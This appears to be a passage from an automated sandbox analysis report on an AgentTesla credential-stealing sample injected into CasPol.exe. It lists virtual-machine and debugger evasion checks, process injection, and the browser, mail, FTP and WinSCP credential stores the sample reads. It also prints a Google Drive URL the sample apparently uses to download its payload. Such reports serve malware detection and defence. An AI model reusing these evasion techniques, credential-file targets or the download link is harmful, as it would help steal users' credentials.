Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: n#U00ba410000512664.exe, 00000000.00000002.938555147.0000000005480000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CASPOL.EXE\SYSWOW64\MSVBVM60.DLL
Source: n#U00ba410000512664.exe, 00000000.00000002.938555147.0000000005480000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5684651604.0000000000ED0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: n#U00ba410000512664.exe, 00000000.00000002.935241245.00000000006C4000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: CasPol.exe, 00000008.00000002.5684651604.0000000000ED0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=12BEV52T0WQCEX9NQBV7JSBLB08XVI7JQ
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 380 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Window / User API: threadDelayed 9946 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe System information queried: ModuleInformation Jump to behavior
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: vmicshutdown
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: n#U00ba410000512664.exe, 00000000.00000002.938555147.0000000005480000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exe\syswow64\msvbvm60.dll
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: CasPol.exe, 00000008.00000002.5684651604.0000000000ED0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=https://drive.google.com/uc?export=download&id=12bEv52T0WqCex9NqBV7JSBLb08xvi7Jq
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: vmicvss
Source: CasPol.exe, 00000008.00000002.5692421448.000000000122A000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: n#U00ba410000512664.exe, 00000000.00000002.938555147.0000000005480000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5684651604.0000000000ED0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: n#U00ba410000512664.exe, 00000000.00000002.935241245.00000000006C4000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: n#U00ba410000512664.exe, 00000000.00000002.938621902.0000000005549000.00000004.00000001.sdmp, CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000008.00000002.5700118992.0000000002BA9000.00000004.00000001.sdmp Binary or memory string: vmicheartbeat

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Code function: 8_2_00C46950 LdrInitializeThunk, 8_2_00C46950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

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Writes to foreign memory regions
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: D00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\n#U00ba410000512664.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Users\user\Desktop\n#U00ba410000512664.exe" Jump to behavior
Source: CasPol.exe, 00000008.00000002.5698477726.0000000001750000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: CasPol.exe, 00000008.00000002.5698477726.0000000001750000.00000002.00020000.sdmp Binary or memory string: Progman
Source: CasPol.exe, 00000008.00000002.5698477726.0000000001750000.00000002.00020000.sdmp Binary or memory string: Program ManagerN
Source: CasPol.exe, 00000008.00000002.5698477726.0000000001750000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

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Yara detected AgentTesla
Source: Yara match File source: 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4676, type: MEMORYSTR
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4676, type: MEMORYSTR

Remote Access Functionality:

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Yara detected AgentTesla
Source: Yara match File source: 00000008.00000002.5710719910.000000001DDF1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CasPol.exe PID: 4676, type: MEMORYSTR